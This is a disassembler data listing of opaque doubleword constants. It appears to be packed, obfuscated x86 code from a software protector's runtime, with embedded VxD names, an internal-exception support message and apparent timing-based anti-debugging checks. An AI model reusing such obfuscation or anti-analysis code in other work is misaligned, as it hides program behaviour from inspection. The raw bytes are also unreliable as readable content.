		dd 4, 8704E983h, 895C240Ch, 68502404h, 73696FD4h, 0E1620558h
		dd 0C18992A0h, 8124048Bh, 4C4h,	4EC8300h, 81242489h, 42404h
		dd 83580000h, 0C8904ECh, 8408F24h, 582434FFh, 4C481h, 0C8B0000h
		dd 0E7895724h, 4C781h, 0C7810000h, 4, 5C243C87h, 0FD0DE5E9h
		dd 7036FDFFh, 58C95355h, 0A6F13B8h, 0FFC50306h,	4E7733E0h
		dd 1BD22079h, 8832AB76h, 5DE2B84Bh, 4934EB50h, 474D5346h
		dd 56202052h, 2020444Bh, 56202020h, 20204D4Dh, 56202020h
		dd 334E4957h, 56202032h, 444C4458h, 202052h, 2 dup(0)
		dd 0E9000000h, 78Bh, 0EDF38060h, 0A49CE681h, 0F617DF8h
		dd 885h, 28A0F00h, 60000000h, 14E96061h, 0C0000000h, 0C3EC74D5h
		dd 0AC6A75FDh, 5A930976h, 0E63C4590h, 0C7F32575h, 0A6FDE85h
		dd 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 48AC84D7h, 0FF550EAh, 789h, 18C0F00h
		dd 0F9000000h, 0FF5C68Bh, 6AD8B7h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 8B8016C3h, 8B0FDBEFh
		dd 19h,	138F0Fh, 0EE90000h, 60000000h, 1F3D7688h, 5E176D8Dh
		dd 0E229582Bh, 10E8C11Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 86C35343h, 0E9E4FCB1h, 7, 0B90B51C2h
		dd 66D351FAh, 6A08C8C1h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 0D7EBC351h,	60DB3812h
		dd 8E9E9B2h, 0B4000000h, 12185F7Ah, 61FC7FA3h, 6FE28589h
		dd 6A060Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 0DC5C67C3h, 0A8FE906Dh, 8B60B463h, 956AB9FAh
		dd 0F6158BCh, 0B85h, 6E900h, 0CB780000h, 7CFDC8ECh, 8CBC166h
		dd 40FB83F5h, 51850Fh, 50600000h, 6158D08Bh, 6FB6BD8Dh
		dd 6A060Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 0F6008C3h, 18Bh, 14E9F900h, 0FC000000h, 1DC7362Ah
		dd 34EB65BAh, 0AF9D83B3h, 0E9DBF164h, 612009E5h, 21EE9F9h
		dd 83F90000h, 850F0DFBh, 86h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 0F6C35343h,	0BE9CAh, 5B270000h
		dd 0F7B3E846h, 678CC5FEh, 7830F26h, 0F000000h, 18Ah, 0BD8DF800h
		dd 60A6FBEh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Bh,	0FAC35040h, 0D2AE1D93h,	0F9030ABFh, 1ABE9h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 0FB83F8A9h, 8D850F01h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 45B5C353h
		dd 1B7E334Fh, 0C9453786h, 14E9h, 1D979B00h, 344BAFCAh
		dd 18D14FD3h, 364DE6C4h, 25C1EB80h, 8B0F6047h, 0
		dd 61EBE380h, 0C6BD8DF5h, 0E9060A6Fh, 0Eh, 26AAB3Ah, 0CBFA9BB4h
		dd 305E1AE6h, 1DE92522h, 6A000001h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0B382C355h
		dd 1E2C1391h, 0F9F9F33Bh, 0F2AFB83h, 8C85h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 1A25C20Eh, 820F78DBh, 1, 0EE9F8h, 1BB60000h,	0B5B5C75Eh
		dd 6674571Bh, 142B4A4Fh, 6FCEBD8Dh, 10E9060Ah, 40000000h
		dd 0DDAA044Fh, 0B9A40EA9h, 985A8B6Dh, 0E9560839h, 94h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 8AC35141h
		dd 0C0B0AA39h, 0AE9908Ch, 0D0000000h, 0BCCFEA01h, 638B3483h
		dd 27FB8329h, 2B1850Fh,	6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 9807E8C3h, 19870Fh, 14E90000h
		dd 80000000h, 50178F5Ah, 221291F0h, 0DCFAF2FFh,	4C18C913h
		dd 8DF90221h, 0A6FD6BDh, 12E906h, 60360000h, 0E870937Fh
		dd 0ADF7784Dh, 0E484CFA2h, 0AA295026h, 6FE6BD89h, 6A060Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 546308C3h, 1845A1Fh,	0FE9h, 4BE50300h, 5661F1EAh, 4054B678h
		dd 389C0A7Eh, 0E9C88C66h, 10h, 46CB9A4Ch, 0FA243A58h, 83FF791Eh
		dd 2D04A8C9h, 0FE90324h, 13000000h, 0AAAA7B5Fh,	133EA3C3h
		dd 643B29F3h, 0C00A47BDh, 178850Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0DB354FC3h
		dd 0B0EDA56Dh, 10E94Dh,	0C4660000h, 8F95DC24h, 5EFD2218h
		dd 0D5EB24B1h, 8DF5E0EDh, 0A7687B5h, 858BF906h,	60A771Ah
		dd 12850FFCh, 0E9000000h, 0Dh, 97572F9h, 0C671EB10h, 539A84C5h
		dd 0B8609284h, 342F47FCh, 9EC6BF60h, 11E83EFDh,	9A000000h
		dd 35E8080Bh, 207DAE8Eh, 0C35FAB95h, 0EED2B7C6h, 5061615Eh
		dd 3E10BA60h, 0B86647C0h, 92613D4Ch, 4C010FF5h,	8A0FFE24h
		dd 18h,	13E9h, 2FDAF300h, 61724DEAh, 0E9E98711h, 96AA6FCBh
		dd 1A085D9Ah, 0BE60605Ah, 151F3031h, 800Fh, 0F9610000h
		dd 24C28361h, 728966F5h, 7810FFCh, 0F000000h, 186h, 0CEC1F500h
		dd 56006A10h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 7B293350h, 0CE90Ch, 28E70000h, 27843010h
		dd 0DABE4B49h, 8966400Ch, 60600272h, 6160F7B7h,	7E961h
		dd 0E3330000h, 395C3247h, 4CD6144h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 6DC35545h, 870F8284h, 0Dh
		dd 0D6816660h, 0CE81B771h, 73447A82h, 7EE961h, 0E9600000h
		dd 0Bh,	0F68CFE8Ch, 0D8D066FFh,	0BF0F5FC7h, 68540E46h
		dd 858BF961h, 60A771Ah,	87B58DFCh, 0F060A76h, 886h, 2810F00h
		dd 60000000h, 0DC858D61h, 6A060A4Dh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 4717C353h
		dd 0E908D0F6h, 0Fh, 5256ABE6h, 0CD5499C9h, 0E67762DDh
		dd 0F5D16B0Eh, 850FD0FFh, 1, 1820FFCh, 0F9000000h, 6FDE8589h
		dd 61F5060Ah, 0DE858BF9h, 6A060A6Fh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 184EC353h
		dd 0D87E9E9Bh, 60A57E35h, 11E9h, 0E6E38400h, 585681E2h
		dd 0C1B440EAh, 724F1ED8h, 8166EDFBh, 61C299CEh,	57006AC3h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 6D734DA5h, 0A8D650ADh, 53006A60h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 0F8E8038Fh
		dd 771ABD83h, 0F00060Ah, 5E85h,	8D0F6000h, 6, 8C0Fh, 0EF810000h
		dd 1142AEAEh, 1A85C761h, 3F060A77h, 6A000101h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 3CAFC352h, 0CC67C2B0h, 18A0Fh, 0FF90000h, 1288h, 0DE900h
		dd 87700000h, 0E28D329Eh, 167D5C16h, 0E93B1A05h, 1, 20CDFCh
		dd 0B000000h, 8D3774C0h, 0BD8B0C70h, 60A6FE6h, 8B9h, 2275A600h
		dd 8BFA7549h, 9D8B3048h, 60A6FE2h, 7F34583Bh, 6BD38B15h
		dd 0CA0304D2h, 8589018Bh, 60A6FDEh, 8B04EBh, 8B61C5EBh
		dd 0A6FDE85h, 8A0FCF06h, 1, 0CCBE60FCh,	0E90E7DD7h, 6
		dd 20918EAEh, 8B611459h, 83E9C0h, 51530000h, 8B575652h
		dd 661C245Ch, 5A4D3B81h, 68850Fh, 0B70F0000h, 0D8033C43h
		dd 503B8166h, 57850F45h, 8B000000h, 5C03785Bh, 738B1C24h
		dd 24740324h, 7B8B561Ch, 1C738B20h, 20247C03h, 20247403h
		dd 0FFC983FCh, 245C8B41h, 3178B1Ch, 83202454h, 28A04C7h
		dd 874C084h, 0E875033Ah, 0F2EB4243h, 0E075033Ah, 0FE1D15Fh
		dd 8B0F04B7h, 44038604h, 5E5F1C24h, 0C25B595Ah,	0C0330008h
		dd 0FFFFF1E9h, 0E8CA8BFFh, 0Eh,	2A2BE079h, 0E77BFAABh
		dd 0F2C10EDCh, 0E281ABDCh, 3A6FD6F8h, 3F7815Eh,	8167AE28h
		dd 74A4C6h, 1CF96800h, 81660000h, 585D99F2h, 0FFC9BF0Fh
		dd 0D3B70F36h, 14E95Bh,	6F920000h, 10CA744Bh, 41D4BBE2h
		dd 9FDD58AFh, 1110EFBAh, 0EB812D00h, 60DF97CAh,	3240BF66h
		dd 6F38EB81h, 0F9B546F3h, 42A3F381h, 8D0F5957h,	3, 89FABF0Fh
		dd 83C5B11Eh, 0F85103EEh, 48F54E59h, 13850Fh, 3DE90000h
		dd 71000000h, 8E8C9684h, 83A40867h, 0A88DF01Ch,	14E9E8h
		dd 0DBF80000h, 433AC106h, 49B908C2h, 3811F865h,	3CCE0B50h
		dd 7CE91CA1h, 0A6FFFFFFh, 17DE4D1Eh, 2316B3D9h,	715D6Dh
		dd 0BB17A04Dh, 400E9h, 0
		dd 6E413300h, 746E6920h, 616E7265h, 7865206Ch, 74706563h
		dd 206E6F69h, 7563636Fh, 20646572h, 64644128h, 73736572h
		dd 7830203Ah, 0A297825h, 656C500Dh, 2C657361h, 6E6F6320h
		dd 74636174h, 70757320h, 74726F70h, 65726F40h, 2E736E61h
		dd 2E6D6F63h, 61685420h, 79206B6Eh, 21756Fh, 0E4h dup(0)
		dd 5600h, 4500h, 0
		dd 1035E900h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 4407D4C3h, 99D0945h, 8B060723h
		dd 7158985h, 39BD8906h,	3906072Bh, 0F042444h, 6985h, 78B16000h
		dd 0BD8361FCh, 60721D5h, 57840F00h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 69DAC355h, 0B589B8B4h, 6071F29h, 18C5BD89h, 0B5290607h
		dd 6072369h, 3A13858Dh,	0FFF50607h, 0CE860E0h, 0F1000000h
		dd 0BA1877D4h, 139C53D2h, 6673A089h, 815ACF8Bh,	0F9F6D6E8h
		dd 858B6150h, 60716BDh,	188A0FF5h, 0E9000000h, 13h, 91388892h
		dd 0CB41D8AAh, 9EE28507h, 7E8660A7h, 394CDFF0h,	0F042444h
		dd 4C85h, 0E4BA6000h, 35FBA34h,	723AD95h, 85316106h, 6072D69h
		dd 7CD085C7h, 1060Ah, 60600000h, 1298D8Bh, 7E90607h, 0D1000000h
		dd 779CD725h, 61612C70h, 14E9h,	0DA36800h, 61FA69F8h, 0D7574409h
		dd 7257B9DEh, 0E172CDD3h, 6A6063h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 925A45C3h, 23C56F2Ch
		dd 9D89B32Ah, 6073359h,	0FE9h, 0F2806000h, 61B58B73h, 6106071Ah
		dd 0
		dd 1B8h, 33858700h, 0B060A7Eh, 0FFF675C0h, 71C4DB5h, 0C8858F06h
		dd 6A060A7Ch, 0FFFF6A20h, 72C9195h, 91BD8306h, 60707h
		dd 6A0874h, 320195FFh, 0BD830607h, 607044Dh, 680D7401h
		dd 80h,	95FFFF6Ah, 6072C91h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 0F6C35141h,	8615B4C4h, 958B6019h
		dd 607319Dh, 5E961h, 0C0F0000h,	997A667h, 702418Dh, 6AC02B06h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 537CC355h, 73830906h, 548B99CBh, 890F2824h
		dd 1, 0AD8589F9h, 0F9060718h, 3CBEh, 81666000h,	811101DAh
		dd 0A702BFE9h, 7403612Fh, 0DE92424h, 0D000000h,	0FF2B530Fh
		dd 1BFFC145h, 68387911h, 6870Fh, 0BD890000h, 6070AF9h
		dd 6AAD66h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 17F674C3h, 60B43181h, 16A99589h, 0BF0F0607h
		dd 440361C7h, 0BD892424h, 6070475h, 158B0F50h, 0F000000h
		dd 0F81h, 0AE900h, 14790000h, 0AF25198Ah, 67C2B03Ch, 60240489h
		dd 138A0Fh, 0DE80000h, 0C7000000h, 9A57912Fh, 1C2B3264h
		dd 71D24058h, 8961FC5Fh, 7220D8Dh, 78408B06h, 16AD8D09h
		dd 83F80607h, 0A7CD0BDh, 850F0006h, 156h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Ch, 66C35747h, 37D7B64Dh
		dd 218E7EDCh, 7E860h, 24E50000h, 0CA5825Fh, 9858BB5h, 5A06072Bh
		dd 6FE68166h, 0F906159h, 1284h,	0DE900h, 0B0B50000h, 0A21B1AE5h
		dd 0EE0E933Dh, 502FD394h, 5A536060h, 0E8615B56h, 12h, 0B5559A1Eh
		dd 0E64B91BBh, 98090D9Ah, 0C1A589BEh, 5250D7DFh, 585A310Fh
		dd 6A90615Ah, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 0FDF8C356h, 0BD8933ACh, 6070C09h
		dd 2C24448Bh, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Ch,	84C35545h, 0A494197Bh, 0F098FB9Fh, 0C158D89h, 0F500607h
		dd 0C8Eh, 6820F00h, 50000000h, 5A310F52h, 24048958h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 5C35242h, 79D6BEAh
		dd 0A49BD89h, 858D0607h, 60A421Fh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 8CC35343h, 7E7B539Fh, 0E96C4193h
		dd 11h,	8241D136h, 0CE6814A7h, 2814E7C3h, 4E091B57h, 0D0FFF9A3h
		dd 0BA98D89h, 44030607h, 0EE92824h, 7D000000h, 1F7C13A1h
		dd 79998432h, 0D7DCDE70h, 1800FCDh, 0F9000000h,	6A18408Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 942FC353h, 60D90862h, 0E3816660h,	95313BB8h
		dd 60719D1h, 5E961h, 0F2160000h, 611E094Bh, 0EE9h, 18607900h
		dd 1925DB2Dh, 0BBD8540Eh, 40C09B2Ah, 8E9h, 0C9061300h
		dd 340D87B5h, 0B19589ADh, 8906072Fh, 0A7CCC85h,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 6B2246C5h, 0DFD34495h, 29858909h, 5806071Dh,	30A58D01h
		dd 8B600607h, 7162185h,	0BF0F5206h, 8B6159F8h, 6A7870h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 87048AC3h, 4E89C962h, 55BD2923h, 0FC06070Ch,	6A1CC683h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 9994C356h, 8B0FF829h, 6, 17159D89h, 6A960607h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 8160C352h, 24247Ch, 0F100000h, 0DE87h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 858B6081h, 60717B5h,	9E9h, 0B7FAEF00h, 64AAD5D6h, 50614542h
		dd 0F840Fh, 0AE90000h, 7B000000h, 734ED958h, 0B2C91D24h
		dd 240489CCh, 61605660h, 448B615Fh, 85892824h, 6072D4Dh
		dd 0BE950h, 42AC0000h, 47E085BDh, 0DE8730A9h, 24048929h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 50C35343h
		dd 0E5396F70h, 0FC842759h, 0F60F849h, 185h, 9533F800h
		dd 6073159h, 1F858D61h,	6A060A42h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 6FE1C353h
		dd 0FD0FF60h, 0E87h, 9D8B6000h,	607074Dh, 2CBDBD89h, 96610607h
		dd 3F59D09h, 74030607h,	6A2424h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 0BD8D20C3h, 6071681h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0B3C35040h
		dd 3DB50182h, 3106071Ch, 72B5D9Dh, 81F8AD06h, 24247Ch
		dd 0F100000h, 14A87h, 0EE900h, 55E40000h, 0E311BDFh, 7C3B613Ch
		dd 0B66F87E7h, 68C0F60h, 0F000000h, 83h, 0D6B70F00h, 10E99061h
		dd 84000000h, 7D810C0h,	0B4D6C408h, 0AFF1100Fh,	5022A6C8h
		dd 60906160h, 0D3E18166h, 9E9BEh, 1760000h, 40DABA50h
		dd 61129C44h, 2824448Bh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ah, 52C35141h, 6D5BE4A7h,	0F90BB25h, 0A80h
		dd 0F28B6000h, 310F5250h, 5061585Ah, 800F5250h,	6, 310F5250h
		dd 310F585Ah, 68D0Fh, 890F0000h, 0
aZxrj		db 'ZXj',0
		db 57h,	0E8h, 3
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 5083C357h, 0C5B4F4ACh, 1C820FDAh, 60000000h,	13E9h
		dd 9A715700h, 0CC82443Eh, 0AABB58FDh, 361D6B6Ah, 0F61C8D0h
		dd 8D615B50h, 0A421F85h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 8CAACDFBh, 34CC2BC2h
		dd 6AD0FFA2h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 0F94CC353h, 0D439CC9Eh, 0FE6B4FFh
		dd 68Fh, 85950100h, 306072Dh, 0F5242444h, 52006AABh, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
		dd 0C607366Ah, 890FC683h, 1, 0FA81F8h, 0F000100h, 62682h
		dd 0E5B58900h, 8D06071Ah, 70B51BDh, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 9D29AD9Ch
		dd 6070205h, 24247C81h,	10000000h, 0D4870Fh, 90F80000h
		dd 840F5250h, 2, 310F6160h, 0F525060h, 60585A31h, 585A6161h
		dd 0C890F50h, 0F000000h, 68Eh, 830F00h,	90000000h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 2FC35141h, 7CA7DA7Bh
		dd 1AAD7D3h, 700D98Dh, 24448B06h, 56006A28h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 0CC80606Dh
		dd 2AB966F8h, 0F506187h, 128Bh,	0DE900h, 0EDAD0000h, 9F98A0E8h
		dd 0AED16D4Fh, 89D49B9Eh, 66602404h, 0B7A6C181h, 1F858D61h
		dd 9060A42h, 70129BDh, 6AD0FF06h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 33FEC352h
		dd 0AB18501h, 44030607h, 6A2424h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 136E25C3h, 0F4C767E3h
		dd 10E9h, 0A7941200h, 16407C46h, 352B51E2h, 0D67E746Fh
		dd 918D89FEh, 9006072Ah, 7E9h, 528ABF00h, 2ED32595h, 168E0F50h
		dd 0F000000h, 108Bh, 0BE900h, 72C00000h, 2D65EC16h, 0C9CF3DA6h
		dd 806090FCh, 0C28B33DDh, 8501AB61h, 60715C1h, 1661BD8Dh
		dd 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 8543EC3h,	81F9ADFCh, 28247Ch, 0F100000h
		dd 11887h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 10DA6AB3h, 9820FF8h, 60000000h, 66DAB70Fh
		dd 616284BFh, 52506050h, 310FD68Bh, 310F5250h, 585A585Ah
		dd 61FA8B66h, 31240489h, 71069BDh, 24448B06h, 599D092Ch
		dd 0F06070Bh, 581h, 8B666000h, 0F5061F0h, 0A85h, 5E900h
		dd 88240000h, 89B6C16Ah, 6A2404h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 64B19EC3h, 937735C3h
		dd 421F858Dh, 6A060Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 92CC89C3h, 354FD79Eh, 0FA56DDBh
		dd 68Ch, 41950100h, 89060718h, 729CD8Dh, 6AD0FF06h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 7122C357h, 5E4FBA7Fh, 0FF38853h, 188Eh, 61606000h, 0EE8h
		dd 0BBF47100h, 0D92B85B6h, 17E79EFh, 5B9B4188h,	24440361h
		dd 0E5953128h, 0AB06072Fh, 81BD8960h, 0F06072Fh, 5E61C2B7h
		dd 7CCC8DFFh, 0BD83060Ah, 60A7CCCh, 330A7500h, 0E5B58DC0h
		dd 0FF060A8Ah, 81AD56E6h, 28247Ch, 77100000h, 448B500Eh
		dd 8D502C24h, 0A421F85h, 3D0FF06h, 97282444h, 858ADF8Bh
		dd 60A7CC8h, 474C084h, 4C75073Ah, 0AEC03257h, 2B5EFD75h
		dd 33FC52FBh, 0D18B49C9h, 0DB33C033h, 8AC132ACh, 8AEA8ACDh
		dd 6608B6D6h, 0D166EBD1h, 660973D8h, 66504135h,	5449F381h
		dd 0EB75CEFEh, 0D333C833h, 0F7D5754Fh, 8BD1F7D2h, 10C0C1C2h
		dd 5AC18B66h, 0F74D03Bh, 4C6835Eh, 18AD85FFh, 5DE90607h
		dd 5EFFFFFFh, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 15h,	0C2C35040h, 0CE9A8h, 941C0000h,	768102D9h, 38897B94h
		dd 6A5518h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 0B7EB3EC3h, 383F2EE1h, 1800F7Eh, 0FC000000h
		dd 5B1BD09h, 858B0607h,	60718ADh, 1359589h, 0E0D10607h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 98C35141h
		dd 816066DBh, 1EA72AD2h, 0A99D8B4Ch, 61060705h,	5E9h, 0ADD47700h
		dd 85036ED1h, 6071661h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 54C35141h, 858982C6h,	607050Dh, 0B529F62Bh
		dd 6072B99h, 0BF666096h, 6E92BB7h, 0A9000000h, 0F2F09B3Ah
		dd 0AD666195h, 5E9h, 5D9C4500h,	66606D2Ah, 9FBAEE81h, 0CE8h
		dd 38351A00h, 0AD42E34h, 0E432BF8Ah, 299D8904h,	5A060705h
		dd 2E0C161h, 21D1B589h,	85030607h, 6071681h, 19CD8D89h
		dd 57600607h, 0D2805EF8h, 6A9661FEh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 6FC350h
		dd 850F4EDBh, 6, 2ECD9531h, 0ADFC0607h,	8E9h, 234C1200h
		dd 2A6DDEA3h, 247C81DDh, 24h, 0B1870F10h, 29000000h, 71E1D95h
		dd 0EE95006h, 96000000h, 0D032138Fh, 44DA8634h,	35BD32EEh
		dd 240489C1h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 17h,	0E5C35646h, 896B534Fh, 7225185h, 24448B06h, 0D5B58928h
		dd 5006072Fh, 68D0Fh, 8B600000h, 616160D0h, 6A240489h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 9697C356h, 0F8CB4D0Dh, 421F858Dh,	6A060Ah
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 0A5D704C3h, 2960D0FFh, 72629B5h, 0FDB58B06h,	6106072Ch
		dd 24244403h, 12D58529h, 44890607h, 0F601C24h, 681h, 15852900h
		dd 31060701h, 72AF98Dh,	85C66106h, 6071C4Dh, 3385C700h
		dd 60A7Eh, 0C7000000h, 0A7CD085h, 6, 50006A00h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 9D897F67h
		dd 6071159h, 8C2F861h, 358D0100h, 8B06072Fh, 7168185h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 9E04FDCh, 703D58Dh, 0BD314A06h, 6070F85h
		dd 0F804D26Bh, 6AC203F8h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 9737C356h, 0F2CE819h
		dd 0C83h, 6890F00h, 0F000000h, 8Bh, 6A9600h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 0F9677EC3h
		dd 68F0FADh, 89000000h,	70B4DB5h, 247C8106h, 24h, 0ED870F10h
		dd 89000000h, 72B5D95h,	8E0F9006h, 0Ch,	6830Fh,	52500000h
		dd 585A310Fh, 0CE950h, 93350000h, 0A5D607C6h, 82013818h
		dd 6A903DE7h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 575C350h, 8B21A027h, 6A282444h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 0A6D7C355h, 0BD8960F8h, 60701FDh
		dd 7E9h, 5B589D00h, 12DFD671h, 0F605061h, 282h,	0BEC78B00h
		dd 6B1B4233h, 24048961h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 18h, 4C35646h, 588832DBh, 19098D89h, 858D0607h
		dd 60A421Fh, 68F0Fh, 9D890000h,	6071FF1h, 6AD0FFh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 0F9F869C3h, 0FFFDFFE9h, 52006AFFh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 92B60ECBh
		dd 0C800FF0h, 60000000h, 117D8589h, 0B8660607h,	8D617E93h
		dd 0A910A85h, 10830F06h, 0E9000000h, 0Bh, 30B4E1BDh, 39115BB8h
		dd 89112427h, 72D91B5h,	52505006h, 68B0Fh, 830F0000h, 0
		dd 5250310Fh, 13E9h, 902E7800h,	0B769EFC9h, 0E49A07Fh
		dd 0B6713B04h, 0D442CD23h, 5E9310Fh, 40000000h,	0DBA8C64Ah
		dd 585A585Ah, 6A240489h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 92CCC356h, 354FD79Eh
		dd 35FF64h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 0DA5BC357h,	1AFAE887h
		dd 37D3DCBAh, 68D0Fh, 8D290000h, 60731A1h, 6024048Bh, 0AE8h
		dd 9888F200h, 76BD4DF7h, 6653BDD8h, 5659CA8Bh, 598ACD80h
		dd 0B5858961h, 6A060701h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 0FC6C355h, 0F8Fh, 0AE900h
		dd 1D90000h, 4B28C851h,	0F7211BEFh, 258964h, 89000000h
		dd 71AC9BDh, 86858D06h,	0F060A8Eh, 0E8Bh, 95896000h, 60712E5h
		dd 191DB58Bh, 89610607h, 6A0160h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 0D1E9ABC3h, 60000002h
		dd 4701BF66h, 6890Fh, 95890000h, 60720D5h, 0E8DB8B61h
		dd 0
		dd 7FED815Dh, 0BC060A8Eh, 12FF9Ch, 44DBD83h, 74000607h
		dd 49858B18h, 0C6060707h, 858B0000h, 6072FB5h, 0FF0000C6h
		dd 71F3995h, 0B5FF6006h, 60A78D4h, 78D8858Dh, 8D50060Ah
		dd 0A7AD085h, 95FF5006h, 6071EB1h, 610CC483h, 1A899D31h
		dd 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 601A23C3h, 0CF8166F9h, 0FC6123CFh, 7AD0B58Dh
		dd 6A060Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 48AA1C3h,	89C96287h, 11E9F5h, 0E010000h
		dd 392F7F4Ch, 8288F25h,	94CC8B7Fh, 8D005109h, 7272DBDh
